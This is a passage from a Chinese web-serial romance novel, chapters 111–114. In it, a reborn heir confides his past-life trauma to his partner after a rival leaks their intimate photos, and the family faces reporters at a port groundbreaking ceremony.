陈宗礼脑袋后仰,靠在座椅上,喃喃:“刚从利园出来,现在回老宅。” 陈一诺语速很快,听出来非常着急和不安。风声消失,传来关门声,他到公寓了。 “宗瑜说,贺朗约你吃晚饭,回家后,发现老太太也被叫过去了,那老狐狸想做什么?” 陈宗礼松开领带,把贺朗在饭局上说的事一五一十说了,刚说完贺朗用照片威胁老太太。 “砰——”电话那端,传来玻璃破碎的声音。 “我要杀了贺朗!”陈一诺对着电话大吼,声音之大,前排司机都听见了。 越怕什么越来什么。 陈一诺跟陈宗礼的关系,是最最最不能被公开的。偏偏铁证就捏在贺朗手上。陈一诺根本压不住火气,“噌——”地燃了起来。 四大家族恋情曝光,对于狗仔来说是永远的头条。 前段时间,李思维跟庄宝瑶的同性恋情曝光后,让宏发股价疲软了相当长时间,直到现在,这段恋情的争议声还很大。 如果说,李思维恋情曝光,影响力是原子弹级别,那么,他们这段集齐“豪门+同性恋+伪骨科”狗血buff叠满的恋情,影响力肯定是□□级别。 恋情一旦曝光,天骏集团首当其冲受影响,接着,他们一起合作的项目也会因为舆论压力被迫暂停,最终,整个陈家的名声被蒙羞…… 上辈子,贺朗用卑鄙手段把陈家拉入深渊的记忆,在陈一诺脑海中一幕幕浮现。他以为已经逃过上辈子的宿命,结果,宿命像恶魔般,再次轻易掐住他的咽喉! 脑子止不住地幻想,“嗡——”刺耳的声音在耳边叫嚣,嘴上说着什么已经听不见了。 陈一诺第一次觉得控制不住自己的身体。 眼前的画面天旋地转,拿着手机的手不停地抖动,最终只能无力地蹲坐在地上,大口呼吸。 “一诺,一诺,你还在吗?!听见我的声音了吗?” …… 在陈一诺应激的时间里,电话那头,陈宗礼只听见他沉重的喘息声,以及“我要杀了他”的吼叫。 这是他从没见过的陈一诺,向来稳重的太子爷慌了。 他急促地安慰道:“我们已经有办法了,谁都不用杀。你先冷静……” 陈一诺却拒绝:“不行,我要杀了他,他不死,你就得死……” 陈宗礼听到这里,忽然觉得毛骨悚然。 但他依然努力安慰对方:“别胡思乱想,我不会死,没人会死!” 陈一诺那边的情绪却没有变好,只有一直重复着:我要杀了贺朗!我要杀了贺朗! 哪怕当初,他把陈一诺送出国,两人闹得近乎断交,陈一诺也只是大哭着,说狠话。 这是他第一次,听见陈一诺崩溃的声音。如果他在身边,还能抱着他,哄他,可相隔两地,他只能通过电波,不停地叫他,换着昵称叫他:诺诺,宝贝,小卷毛…… 一边念叨:“哥没事,哥在陪你,你不要害怕……” 一边用手机给王之初发消息,让他立刻带保镖去陈一诺公寓找人。 大概十分钟后,电话那头陈一诺的声音已经没了,陈宗礼连忙让司机靠边停,站在马路边焦灼踱步,却无能为力! 幸好,公寓传来密码锁打开的声音。紧接着,电话那头传来紧凑的脚步声。 手机再次被拿起,这次传来王之初的声音:“喂?宗礼,一诺晕过去了。我们先送他去医院。” 陈宗礼悬着的心,才终于放下来,他后怕地摸了摸额头,发现全是冷汗。 他咽下口水,冷静下来,说道:“好,让聂加听电话。” “陈总。”聂加接过电话。 “等一诺无碍,直接把人带回港城。” “好的。” “还有”,陈宗礼继续道,“如果他让你去杀贺朗,你不能去!” 聂加看着被人抬上担架的陈一诺,低声道:“陈总,不好意思,我只有陈一诺一个老板。” 陈宗礼欣赏忠心的人,他沉默一会儿,说道:“你只是保镖,不是杀手。” “行,那如果他让你去杀贺朗,你提前告诉我一声,总可以吧。” 做习惯了上位者,此刻陈宗礼的话像在请求。 聂加只能点头:“好的。” 第112章 陈宗礼让聂加通风报信的求情,最终没实现。因为,陈一诺直接从A国送回港城。 等陈一诺在混沌的梦里恢复意识的时候,人已经躺在老宅的大床上。 记忆停留在A国公寓,一时间让他有些时空错乱。目光缓缓扫向窗外,屋外已经全黑,白色窗纱被缝隙的风吹得缓缓飘起,影影约约,像一道白色极光。 房间外,他听见陈宗礼和一个男人说话的声音。 “我们给二少爷做了一次全身检查,身体没有大碍,晕倒有可能是情绪问题引起的。” 陈宗礼反问:“你说他有情绪问题?” 医生道:“目前只是猜测。你平时跟二少爷相处的时候,他遇到某些特定的人和事,就忍不住情绪激动,往最坏的方向想,或者做出跟往日不同的行为?” “譬如,我有一个患者,他的一位亲人白天还有说有笑,晚上突然病逝,给他造成很大的打击。” “生活恢复正常后,他看似正常,可家里人只要生病,医生还没出结果,他就已经幻想到最坏的结局。整个人会突然崩溃……” 陈宗礼回忆跟陈一诺的那通电话,以及陈一诺多次把贺家置于死地的意图。套用医生话里的推测,陈一诺似乎面对贺家人时,情绪就会变得很激动。好像只要他们存在一天,就会对陈家产生威胁。 如果他真的有情绪问题,让他有应激的源头是什么呢? 陈一诺总不能亲眼看过姓贺的杀了自己吧? 陈宗礼无奈摇摇头,觉得自己疯了。但如果不是这样,真相又是什么呢? 跟陈一诺明明坦诚相见了,此时,却感觉跟他之间隔着的一层浓浓的迷雾,朦朦胧胧地让人看不清楚。 他跟医生点点头:“我知道了,我会再观察一下。谢谢医生。” 医生离开后不久,陈宗瑜神神秘秘走过来,还没说话就开始叹气。 “哥,贺朗的动作很快,新闻已经出来了。这老狐狸真鸡贼,专门挑在羽南港第二期奠基仪式的前一天发布!” 陈宗礼早有预地扯扯嘴角:“知道了,明天的活动安排得怎么样?” 陈宗瑜一五一十道:“都按原计划进行,小童盯着呢。但是……” 她欲言又止,不知道该不该说。小动作落在陈宗礼眼里,他靠在墙上,双手抱肩:“但是什么?” 陈宗瑜清清嗓子,往下说:“但是,现在港坪山,天峻办公楼全是狗仔,都等着你给回应。” “羽南港负责人魏主任也打电话过来,问什么情况,还说不希望舆论影响到羽南港二期的进度……” “现在,一诺哥哥还没醒,zf态度暧昧,舆论又不知道会发酵成什么样子……公关部问,明天的活动要不要取消。” 陈宗礼倒是很淡定,斩钉截铁道:“不,一切都按计划进行。” 照片泄露后,引起的庞大舆论,连早有心理准备的陈宗瑜,都觉得后背发麻。 老太太知道后,特意叮嘱让老宅里的电视、移动设备,全都关闭,等活动结束再打开。 整个陈家,笼罩在一种风雨欲来的气氛中,让陈宗瑜尤为不安。 她知道自己拗不过陈宗礼,只能按下自己的不安,点头道:“我知道了。” …… 陈宗礼走进房间,一眼便对上了陈一诺的视线。 冷峻的面容像冰山上的雪,看见阳光后慢慢融化,化成了温柔的水。 “醒了?” 他眼里含着笑意走到陈一诺面前,拉起他的手,估计是一直放在被子外,怪凉的。陈宗礼把他的手捂在自己掌心,干脆坐到床边看他。 陈一诺那双大眼睛里,没有对恋人的依恋,也没有身体不适的委屈,第一时间问的是:“刚刚宗瑜说,新闻出来了?!什么新闻?” 他很紧张,不但体现在表情上,还体现在身体上。 陈宗礼握着他的手,能直接感知他的手在颤抖,此外,他浑身上下的肌肉都是紧绷着的。 医生关于陈一诺有情绪问题的诊断,几乎第一时间跳进他的脑海。 来不及深思,来不及编织谎言,他也不想编织,干脆坦率道:“回答你问题之前,我能把利园饭局的事,先说完吗?” 那天,他说完贺朗用照片威胁后,陈一诺就情绪激动得晕了过去,并没有听完整。 陈一诺的呼吸依然很重,焦虑的情绪还没完全脱离,他只能忍耐着,沙哑道:“好。” 陈宗礼点了点他的肩膀:“往里睡一点。” 陈一诺身体像毛毛虫似的往后蠕动,过程中才发现身上换上史迪仔的睡衣。这让他觉得安全。 等挪到床中间,陈宗礼已经挤上来,两人面对面对视。明明是2米大床,两人只占了一半,硬是睡出了宿舍单人床的拥挤。 房间只亮着一盏床头灯,昏昏暗暗,很适合夜聊。陈宗礼一只手牵着他,另一只手按在腰上,低声道:“让我想想怎么开始……” “嗯,当我看见贺朗拿出那些照片,要挟我们退出巴库斯,停止跟董焱合作的时候,我心里挺窃喜的,还好我们跟她提前通气。” “但贺朗以为老太太不知道啊,他一直跟老太太说,如果照片被狗仔爆出来会如何如何。” “我还演呢,想打断老太太,让她不要现在做决定,结果老太太也是“戏精”直接让我闭嘴。” “贺朗当然乐意看老太太生气了,毕竟老太太的态度至关重要。” 说到这的时候,他察觉陈一诺身体的僵硬,于是腰上的大手慢慢抚到后背,一下下轻轻拍打。 “精彩的来了。老太太跟贺朗说,这两个兔崽子真没用!谈个恋爱还能被拍,这些照片赶紧发,越多知道越好,让他们涨点教训!” 本来紧张的陈一诺,顿时舒展开了,问道:“老太太真的这么说?” 陈宗礼声音里带着笑:“真的,贺朗以为自己听错了,慢一拍才反应过来。他问老太太,不怕影响天峻吗?不怕影响陈家声誉吗?” “老太太说,一星集团的实力不俗,他们结合等于资源叠加,董事会有什么理由的反对?再说,声誉是什么东西,看不见又吃不着的!” 陈一诺晦暗的眼神忽地明亮起来,他撑起上半身,问:“真的?老太太真的这么说?” “万一真的影响到股价,天峻董事会像当年那样,要把你换掉怎么办?” 当年,贺家造成的舆论风波,直接让整个董事会对陈宗礼产生质疑,差点把人换掉。那时的危机感,像梦魇般缠绕着陈一诺。 看陈一诺五官皱成一团,陈宗礼忍不住把人揽到胸前,说道:“不可能,我已经不是当年的我,你也不是当年的你。” “别的不敢说,今时今日,他们就找不到能顶替我的人。再说,看在一星跟天峻合作的份上,他们也不敢换了我。换了我,你直接取消合作怎么办?羽南港一期才刚竣工,投进去的钱不能打水漂吧……” 陈一诺身体软下来,像婴儿趴在陈宗礼的身上,耳朵贴着他的心脏,心跳声跟说话声,混在一起,在胸腔内形成共振。 陈一诺声音依然沮丧:“就算董事会没意见,zf会不会被舆论影响?他们把羽南港换合作方怎么办?可能换成贺朗,他就能渔翁得利……” 陈宗礼却笑了,哄孩子似的拍拍他后背:“给谁都不可能给贺朗。用老太太的话说,我们陈家不主动欺负人,但被人欺负了,让人永不翻身的能力还是有的。” 陈一诺不信:“真的吗?真的能让贺朗永不翻身吗?” 陈宗礼笑笑:“那你等着瞧吧……” 人长大了,很多事情的解决方式就不一样了。兴许,陈一诺18岁发生的事,换成今天发生,陈宗礼也不会束手无策。莫名地,陈一诺相信了陈宗礼的话,相信了,这件事真的不是大事。 僵硬的身体,慢慢放松下来。 觉察他放松后,陈宗礼的手从他睡衣下摆伸进去,温暖的大手零距离贴着他的皮肤,是一种双向安慰。 沉沉的声音,再次从陈宗礼的胸膛传来:“刚刚医生在走廊里说的话,你有听见吗?” 陈一诺的脸埋在他胸前,声音像被压缩过,听起来闷闷的:“听见了,说我有情绪问题……” 他抬起头,大眼睛像水灵的黑葡萄,看着陈宗礼:“你觉得我有吗?” 陈宗礼如实说道:“我不是医生,判断不来。” “但我觉得你在害怕。因为害怕,所以请了银狼当保镖,所以总是盯着贺家……你还记得,晕过去之前说了什么吗?” 陈一诺不语,当时他整个人失控,脑海里一片空白。 陈宗礼像是早有预料,自言自语:“你跟我说,你要杀了贺朗,如果他不死,死的人就是我……” 本来已经放松的后背,再次紧绷起来。抬起的脑袋像鸵鸟,又藏进胸前。 陈宗礼抚着他后背一路往上,摩挲到后颈,把人抱得更紧,像两块拼图贴在一起。 在诺大的房间里,昏暗的灯光下,陈一诺觉得自己像一棵寄生植物,以陈宗礼作为养分,才能茁壮起来。 陈宗礼的声音无限温柔:“诺诺,告诉我,你到底为什么害怕?” 很长一段时间,陈一诺像睡着了似的,纹丝不动,呼吸均匀…… 可能真的睡着了,也可能是装的。陈宗礼没有催促,就这么搂着他,安静地等着。 就在陈宗礼快要睡着时,陈一诺闷闷的声音从胸前传来。 “我是从悬崖摔下以后,回到这里的……” 陈宗礼搭在他后脖上的手顿了顿,喉头止不住地滚动,问道:“悬崖?” “嗯,贺朝阳推的。重生你知道吧?” “上辈子,那个吴奇,他不只是商业间谍,还在公司账目上做了手脚,陷害我坐了三年牢,在牢里,我断了双腿。” 听见“重生”几个字,陈宗礼先是觉得玄幻,又仿佛解释通了些什么。 听完陈一诺这些仿佛梦魇的过往,他听得直皱眉,咬紧牙关问:“我呢?我没来救你?” 陈一诺没说话,慢慢地,陈宗礼觉得自己胸前涌起一阵热气,后来他才知道,是睡衣被打湿了。 他伸手摸了摸陈一诺的侧脸,凉凉的,是眼泪。莫名地,他的心也跟着凉了…… 结合陈一诺那些匪夷所思的举动,看来,他真的死在贺家人手上过。 双手搂得更紧,他低头吻着陈一诺的发顶:“对不起,哥没保护好你。” 陈一诺声音沙哑:“跟你没关系,是姓贺的太机关算尽。” “上辈子,莫多里没收购繁星TV,你也没拿下羽南港,甚至……我在监狱的时候,跟你的关系很差。” “你是在参加巴库斯竞标的路上,被贺家设计绑架,最后撕票的。” “奶奶受不了打击,也跟着走了……等我从监狱里出来,宗瑜去接我。她一个人撑着天峻,还是没逃过被贺家恶意收购。最后,老宅卖了,我亲眼看见老榕树被砍掉……” “亲眼看见,陈家家破人亡……” 陈一诺越说哭得越凶,打湿了陈宗礼的半件睡衣,与此同时,压在心底的石头,一点点消失了。 陈宗礼从没想过,陈一诺的坦白,揭开的不止是陈年伤口,还有“平行时空”中让人头皮发麻的伤痛—— 作者有话说:这个揭开了,就真的要收尾了~ 第113章 陈一诺觉得自己像喝了一种名为“口吐真言”药水,那些打算藏在心底一辈子的话,全被掏出来说了个干净。 药水当然有副作用。陈一诺觉得越说心里压着的石头越轻,手脚也越软。直到最后,整个人的重量压在陈宗礼身上,完全分不清梦里和现实,昏沉睡去。 掏空心事的人舒畅了,接收心事的人却抑郁了。 在听陈一诺说,关于“上辈子”的每一件事每一句话,陈宗礼听完之后,都会像电影一样在脑海里浮现。光是想到陈一诺坐在轮椅上,见证老榕树被砍,他就觉得心都碎了。 等陈一诺沉沉睡去,他又忍不住回忆。从莫多里收购案、羽南港竞标、伪画事件到邮轮事件。每一次,陈一诺似乎总能提前部署。原来,这些事,在“上辈子”全都发生过。但结局都异常惨烈。 他缓缓叹了口气,双手搂着陈一诺的腰,慢慢地把他放到床上平躺,盖好被子。 然后,自己翻身下床,离开房间。 老宅的三层,只有他跟陈一诺两间房,转角处有一个公共阳台,他走到阳台围栏下的空层,掏出一包烟和打火机,熟练地点燃。 猩红的火光,把他的侧脸映照得锋利,尼古丁缓慢吸入肺部,混着积攒的恶气,一口一口从身体里吐出来。 很难想象,经历了诸多磨难的陈一诺,是如何压抑着情绪,一步步走到今天。 也终于能理解,为什么陈一诺会如此偏执地嚷:“贺家人都得死。” 如今,别说陈一诺这样想,陈宗礼只会想得更过分。而且,这个念头像魔咒,一直在他脑海里重复播放。 从烟灰缸掐熄第三根烟的时候,陈宗礼阴暗的情绪才勉强稳定。 “不睡觉在干嘛呢?!” 老太太的声音突然出现,把陈宗礼吓一跳,惯性地把烟藏在身后,嘴上“呼呼”,企图把烟吹散,问道:“奶奶,你怎么也没睡?” “上来看看一诺,发现这里站了个人。” 老太太慢悠悠走到他身边,跟他并肩站在围栏旁,阳台往下正好对着老榕树,传说榕树里有神仙,不知道神仙睡了没。 两人站了一会儿,老太太忽然对他摊开手。 “什么??”陈宗礼看着她的手掌,没反应过来。 老太太“啧”声,说道:“早就闻到了,给我一根烟。” “不太好吧?”陈宗礼没给,“无论是您的年纪,还是为您身体着想,医生都不允许你大晚上抽烟吧。” 老太太抬手一巴掌拍在他后背,愤怒道:“都这个年纪了,多抽一根烟又能怎样?再说,你以前偷了我多少烟,我说你了么?现在一根都不舍得给我?” “白眼狼!” 老太太住在二楼,她在阳台围栏下也藏了烟。偶然有一回,被陈宗礼发现了。从那以后,他想抽烟,就会从那里偷。他不贪多,每次只偷一根,以为老太太没发现。谁曾想,只是老太太不想戳破他。 他把烟掏出来,递给老太太,边替她点烟,边说:“奶奶,您以前抽烟都背着我们,今天怎么了?” 老太太熟练地吸了一口,黯淡的眼眸看向漆黑的夜空,没有星星,没有月亮,黑得像一个倒扣的铁锅。 “以前背着你们抽,是因为我是你奶奶,为了集团,为了家里,我得作表率,得把自己藏起来。现在我都七十了,再藏下去,我怕死了以后碰见你爷爷,他认不出我。” 在兰姨的复述中,爷爷没去世之前,老太太都是性情爽朗的将门之后。没有豪门千金的温柔,却满身江湖义气,是港城奇女子。本以为是假的,原来是真的。 老太太又抽了几口,袅袅青烟掠过银白色的头发,像暗藏神功的世外高人。 “听医生说,一诺有些情绪问题?” 陈宗礼低头:“还不确定,但会对某些人,某些事有些应激反应。” 老太太喃喃:“是不是,当年我们把他送出国,留下的心理阴影?” 陈宗礼的手指夹着烟,听到这句话时,忽地心虚,不知道如何解释。陈一诺的情况很复杂,如果实话实说,恐怕老太太会怀疑他抽烟抽傻了。 只能笼统回答道:“成因很复杂,等过段时间,让心理医生评估吧。” 老太太有一颗七窍玲珑心,知道这是陈宗礼给她的台阶。 笑道:“人还是要谈恋爱的,你看,你情商还变高了。” 她缓缓吐出一口烟,又问:“那你呢?当年,奶奶没有出面替你说话,也没把一诺留下来,你怪过我吧?” 当年送一诺出国后,他就躲在涛声阁不回家,还撞车进了医院。时至今日,兰姨都会念叨。 陈宗礼沉默着抽烟,黑如潭水的眼眸看向夜空。 他知道老太太在试探他。因为,没有哪个家长愿意承认自己犯过错。他们这么问,只是想从你嘴里得到一个她想听见的答案。让自己心里好过一些。 换作以前,陈宗礼会很得体地回答:没有,怎么可能。 但今晚的事,让他思维产生了变化,索性直抒胸臆:“怪过。” “啧”老太太立刻剜了他一眼:“嘿,刚夸你情商高,怎么一下子又熔断了?!” 陈宗礼得到直抒胸臆的快乐,笑得肩膀一抖一抖地:“我没法替一诺回答,但你问我,我就如实回答了呀……” 老太太又骂道:“事情都过去那么久了,不是说了一家人没有隔夜仇吗?” “你现在怪我,难道让我回到过去,重来一遍?白眼狼!” 老太太还在嘟囔着:“况且,你们谈恋爱,我是不是点头了?还有贺朗的事,我是不是帮你说话了??” 老太太无意间的抱怨,都像锤子,一下下狠敲他的脑门。 对啊,事情的已经发生了,连重生的陈一诺,也没法选择回到18岁被送出国之前。他对陈一诺嘴里“上辈子”发生的惨剧,更是无能为力。 既然,陈一诺已经尽力扭转结局,让他们所有人摆脱上辈子的悲剧。也足以弥补上辈子的遗憾了。 接下来,他唯一能做的,就是牵着陈一诺,一直往前走,遇神杀神,遇魔杀魔! 他一手搭在老太太的肩膀上,安慰道:“好了好了。过去的事,就像这根烟,抽完就散了!” “一家人没有隔夜仇!行不行?” “不过,明天的活动,奶奶要帮帮我。” 老太太有些诧异地看着陈宗礼。 因为从小他就被教育,未来要扛着陈家,要扛着天峻,慢慢地,把陈宗礼培养成:“所有问题都自己扛”,不信别人,不爱合作的性格。 老太太很清楚,这样的性格有多孤单。 所以,听说他跟一诺合作竞标羽南港的时候,多少有些惊讶。如今想来,兴许,不是他想自己扛,而是一路以来,没遇到能让他信任,甘愿帮他分担的人。 幸好,陈一诺出现了。 所以,他学会开口寻求帮助。 老太太压下心中的感触,淡淡回了句:“知道了……” 祖孙两人站在漆黑的阳台上,肩并肩抽完一根烟。 …… “昨日,港城娱乐爆出豪门同/性大瓜!!!” “疑似陈宗礼和陈一诺多张亲密照片流出。照片中,两人神情放松,眼神甜蜜,还有不少牵手、拥抱的亲密接触。” “众所周知,照片主角是港城四大家族之首陈家兄弟!这对耀眼豪门“双子星”近来备受关注。” “港城娱乐记者,甚至暗指两人并非普通兄弟情!照片一经发布,即刻引发全港热议。” “截至目前,记者在陈家老宅所在的港坪山入口处等待。据说,原本定在今天举行的羽南港二期奠基仪式,将如期举行。届时,项目负责人陈宗礼和陈一诺将会亲临现场。这也是绯闻爆出后,两人首次公开亮相……” …… 新闻沸沸扬扬的同时,庄嘉轩的车被拦在港坪山外,前面全是水泄不通的记者,他根本挤不进去。 电话那头,陈宗瑜说:“你来凑什么热闹,门口全是记者,我们直接在羽南港见吧?” 庄嘉轩无奈掉头:“哎,没人劝劝他们吗?胆子也够大的,风头火势还敢一起出席公开场合?这不得被记者扒个底朝天!” “再说,一诺不是病了吗?能出来见人?” “我看他状态还行……”陈宗瑜斜眼看向饭厅,陈宗礼监工似,边打电话,边盯着陈一诺吃早餐。 对电话那头说着:“对,VIP帐篷放在面朝海的方向……嗯,抗风性要好。” 又不时提醒陈一诺:“再吃一口,怎么还学会挑食?” 话虽然严厉,眼里却全是温柔,腻歪得兰姨看不下去,借口逃离,去找老太太。 电话那头,庄嘉轩继续道:“那么大的事,老太太没发火?” 说到这儿,精心打扮的老太太在兰姨搀扶下从电梯出来,对饭厅里,包括陈宗瑜扫了眼:“别打电话了,时间差不多,出发吧。” 陈宗瑜快速跟电话那边说:“不说了,奶奶催。到羽南港,你直接问老太太吧。” “嘟嘟嘟嘟——” 电话那头,只有忙音残留。 庄嘉轩反刍了一下陈宗瑜的话,惊道:“老太太也去现场啊?!” …… 羽南港二期的奠基仪式选在羽南港码头举行。 为了向外界展示羽南港第一期的项目成果,陈宗礼特意交代,所有出席活动的人员,在抵达码头前,都要途径羽南港一期。 目的要向所有来宾展示一期的改造成果,相当于打个广告,让他们对二期抱有更大信心。 陈家为了声援这次活动,浩浩荡荡开了六辆车,其中,保镖车占了三辆。当豪车车队停在红绿灯处,引来不少市民的侧目。 六辆车里,陈宗礼和陈一诺坐同一辆,陈一诺表情恹恹地看着窗外。 昨晚的全盘托出,虽然让他心里的石头落了地,醒来时,发现陈宗礼好像没事人一样,笑着喊他起床。心里不禁疑惑,他昨晚真的把重生的事交代了吗?还是在做梦?!怎么感觉陈宗礼情绪毫无波动? 刚开始,陈宗礼让他参加奠基仪式,他直觉地想拒绝,但陈宗礼罕见地没有惯着他。直接把他从床上拉起来,穿戴整齐带上车。 原话说:“羽南港是我们第一个合作项目,奠基仪式那么重要的日子,你怎么能缺席。” 陈一诺拗不过他,只能随他摆弄。但老太太也一起上了车,陈一诺就搞不懂了。 他忍了一路,问道:“奶奶也去奠基仪式?” 陈宗礼穿了成套灰蓝色西装,连衬衫,领带都是灰蓝的,居然不再死板,有些时尚感了。 他一脸轻松:“天峻主导的项目,她参加,也不奇怪吧。” 陈一诺疑惑道:“要是没有照片的事,当然不奇怪。可现在照片闹得满城风雨,狗仔正到处蹲我们。我们不但不躲,还自动送上门,送我们就算了,还加一个老太太!” “万一记者问题太过分,老太太现场晕倒怎么办?” “呸呸呸!咒谁呢!”陈宗礼捏捏他的鼻尖,“老太太是觉得,与其让他们乱写造谣,不如我们自己说!放心吧,没事的!” 陈一诺摸着被捏红的鼻尖,扭头看向车外,似信非信地:呸呸呸—— 作者有话说:桦加沙来了,大湾区的盆友们注意安全啊~我得多存几天稿,以防停电[眼镜] 第114章 奠基仪式这天,连绵几天的阴雨天气,骤然放了晴。蒙了灰的天空,被一夜的北风擦拭得干干净净,蔚蓝蔚蓝的天空配着深蓝深蓝的海,让陈一诺郁闷心情,开阔许多。 陈一诺感叹,原来不止以毒攻毒,还能用Blue打败Blue。 当车队稳稳停下,陈宗礼给他开车门,下车后,他一眼看见这次活动场地——羽南港码头。 活动公司在码头用白色屏风搭建了一个蒙古包形状的会场,正中间放着深蓝色背景板,足足有百米宽,背景板上气势磅礴写着:羽南港二期奠基仪式。 活动现场的地上铺了地毯,还有给出席宾客准备的一排排整齐划一的白色椅子。在背景板和嘉宾席之间,用泥沙堆砌出一个圆弧形的土堆,旁边插了一圈铲子,用于待会儿的铲土奠基仪式。 流程都是那些流程,看上去并无差别。 在活动开始前,他们被安排到会场后的VIP休息室稍作休息。 经过会场时,陈一诺透过会场外围的屏风,偷看现场情况。 现场几十个座位,早就坐满记者。会场内“嗡嗡嗡”的,不停有记者打电话,也有人因为没抢到好的拍摄位置发出争吵。所有记者们都在摩拳擦掌,不像参加一个枯燥的奠基仪式,而在参加一个劲爆的新闻发布会。 会场中间和两旁还摆放着手机直播,评论不断滚动弹出。 “在看什么?”一直在打电话的陈宗礼凑到他耳边,跟他一起偷看。 陈一诺连忙缩回来:“今天还会直播?” 陈宗礼挑眉:“是啊,反正都开记者会了,顺便而已。怎么?怕了?” 陈一诺嘴硬:“谁怕谁啊!” 陈宗礼低声笑笑,已经丝毫不避讳外人的目光,直接搂着他的肩,朝休息室的方向走。 休息室是几个搭建的临时帐篷,虽然抗风性很强,但毕竟在海边,还时能感觉整个帐篷被吹得微微摇晃。 刚要进帐篷的陈一诺,余光处有什么东西划过,他身体忽地僵硬不动了。 身旁的陈宗礼也停下脚步,朝他看的方向看去。 陈一诺拉拉他的衣袖,丢了魂似的说:“陈宗礼,就是那个悬崖……” 帐篷外有一条向外延伸的石路,路的尽头,也是羽南港码头的尽头。往下是百米悬崖,形状酷似大象喝水,被称为:南羽象崖。 这里,是上辈子他被贺朝阳推下去的地方。 …… 上辈子很多悲剧的细节,在重生后中被陈一诺慢慢淡忘,包括:让陈宗礼绑架的巴库斯项目,以及他被推落的具体位置。 港城沿海,山也多。悬崖就有十几处,陈一诺没想过会在这种场合,突然重回自己的生命终结地。 陈宗礼捏捏他的脸,像在唤醒沉浸在梦里的他:“上辈子的事,就留在上辈子!” “上辈子我被绑架,这辈子我就站在你面前,上辈子,你被推下悬崖,这辈子,这个悬崖见证了我们第一次合作。” “这辈子,我们都会好好活着,一起活着的。” 本以为,那些关于重生的话,陈宗礼不会相信,结果不但相信了,还记得清清楚楚。 确实,上辈子痛苦的事,就留在上辈子吧。好好活着,才是最重要的! 本来低落的心情,像乘上了羽南港码头的风,飘飘然地往上扬,让他知道,一切都不一样了。 焦虑发作后,第一次,他露出了笑容,他牵着陈宗礼的手:“嗯,一起活着!” 小童从门外走进来,对他们说:“陈总,奠基仪式准备开始了。” 陈宗礼捏了捏陈一诺的手,挑眉道:“走吧!” …… 站在舞台旁侧准备候场,大内总管陈宗瑜一直碎碎念。 “地政署的罗署长,还有羽南港项目负责人魏主任已经到了。他们会先出场,接着你们上。” “主持人请的是TVA当家主持,应变能力很好,前排的记者都安排了跟我们关系好的,有财经记者,也有娱乐记者,已经提前检查过他们的问题单,应该不会有过激问题。” “但如果有……就只能靠你们临场发挥了。但记住全程直播,不能说脏话,不能打人!” 说这句时,陈宗瑜故意看了看陈宗礼。 “看我干嘛?”他指着陈一诺,“脏话,打人我是不会的,倒是你一诺哥哥不好说~你提醒提醒他。” 陈宗瑜没好气地看他,不明白这时候陈宗礼怎么还能开玩笑。 因为贺朗踩着活动前一天发出照片,陈宗瑜把今天出席的所有媒体通宵打点了一遍。但她知道这场活动于公于私,对她两个哥哥,以及整个陈家来说太重要了。 但她能力微弱,能帮的忙有限,越想越焦虑,替陈宗礼戴胸花的时候,手一直在抖,那个扣子总是扣不上。 她烦躁道:“这胸花的扣子怎么那么难弄……” “抖什么?帕金森啊?” 被陈宗礼一激,陈宗瑜瞬间扣好,拍了拍他胸口:“你才帕金森!” 场内主持人按时开场,陈宗瑜对流程很熟悉,知道接下来就要介绍他们出场,他们只要迈出这扇屏风,相当于“开弓没有回头箭”,他们只能直面记者的疯狂提问,以及观众的审视。 多少双眼睛就等着看他们的回应,多少人磨刀霍霍,就等着把陈家从神坛拉下。想到这里陈宗瑜忽然心头一紧,下意识拉住陈宗礼的衣袖。 “哥……” 陈宗礼回头看忽地蹙眉,发现陈宗瑜眼睛通红,想哭不敢哭,像小时候被奶奶训斥的模样。 陈宗礼心头一软,单手抱抱她。怕粉底印到他西装上,陈宗瑜警觉地昂起头,哽咽:“要弄脏了!” 陈宗礼拍拍她的背:“那就别哭了。没事的,你一诺哥哥的焦虑我能治,你的帕金森我也能治!” “切——”陈宗瑜被他气笑了,嘟囔着:“都说没有帕金森!” 陈宗礼松开手,对她身后的人叮嘱道:“照顾好我妹妹。” 庄嘉轩稳稳接住陈宗瑜,对他说:“放心吧!兄弟加油!” …… 羽南港二期奠基仪式的首个高潮,出现在开场第五分钟。 声音悠扬,大方婀娜的女主持介绍奠基嘉宾出场,念道:“天骏集团执行总裁陈宗礼!” “一星集团执行总裁陈一诺!” 全场的闪光灯就像一道道闪电似的,“咔嚓咔嚓咔嚓——”闪个不停。 按照现场安排,嘉宾出场时会按姓名入座。大会生怕记者拍不到他们同框,故意把陈宗礼和陈一诺安排坐在一起,记者们兴奋地又闪过一阵“咔嚓咔嚓咔嚓——”。 两轮下来,陈一诺觉得自己的眼睛都要瞎了。 刚坐稳,主持人继续介绍:“接下来有请,天骏集团董事长冷翠英女士!” 端庄大方的陈老太慢慢走向主席台,台下已经有记者忍不住问:“陈老太,昨天的新闻看了吗?今天是专门来给孙子们撑腰的吗?” 陈宗瑜的眼刀立刻扫向提问的记者,一个胖男人长得很有攻击性。但她没有怂,直接警告。 “这位记者朋友,首先,还没到提问环节,请不要扰乱秩序。其次,今天是羽南港二期的奠基仪式,请不要跟活动无关的问题,谢谢!” 胖男人阴着脸没再说话。屏风后的庄嘉轩摸摸寸头,自言自语:“这个胖子,怎么有点眼熟?” 小插曲过后,主持人继续按活动流程主持,在领导致辞和铲土仪式结束后。终于来到万众瞩目的记者提问环节。 刚开始,主持人优先选了财经记者发问,问题清一色跟羽南港相关,有的问羽南港一期企业进驻情况,也有问二期规划。这些问题,全被陈宗礼和陈一诺一一解答,场面看似被控制得非常好。 但陈宗瑜从侧面能看到,那些带着任务来的娱乐记者,已经在不耐烦。 从直播的评论区也能看到,所有观众对羽南港兴致缺缺,都在骂现场提问无聊。 【谁要听地产项目进度!快让记者问陈宗礼跟弟弟的基情啊!】 【就是!流量密码就在你面前!搞不清楚太子爷的性取向,我哪能专心工作?!】 陈宗瑜看舆论压不住,通过耳机对主持人道:“接下来选TVA的娱乐记者发问。” 主持人接收到指令,朝她点了点头。 “那么下一个问题,我们请这位记者发言!” 一看是娱乐记者,评论立刻龙腾虎跃起来,都在刷屏:【坐等吃瓜。】 TVA记者问:“我们都很想知道,羽南港是两位陈先生第一次合作,有什么感想吗?” 评论认出这是TVA的记者,立刻弹出一条评论: 【切,TVA的记者!我就知道她问不出什么好问题!合作感想……谁想知道啊!】 【对啊,根本0人想知道!不会问就不要问!浪费我时间!散了吧散了吧!】 在控评的小姑娘看向陈宗瑜:“瑜姐,这个舆论……该怎么办呢……” 陈宗瑜眼神锐利:“不用管,让他们闹!” 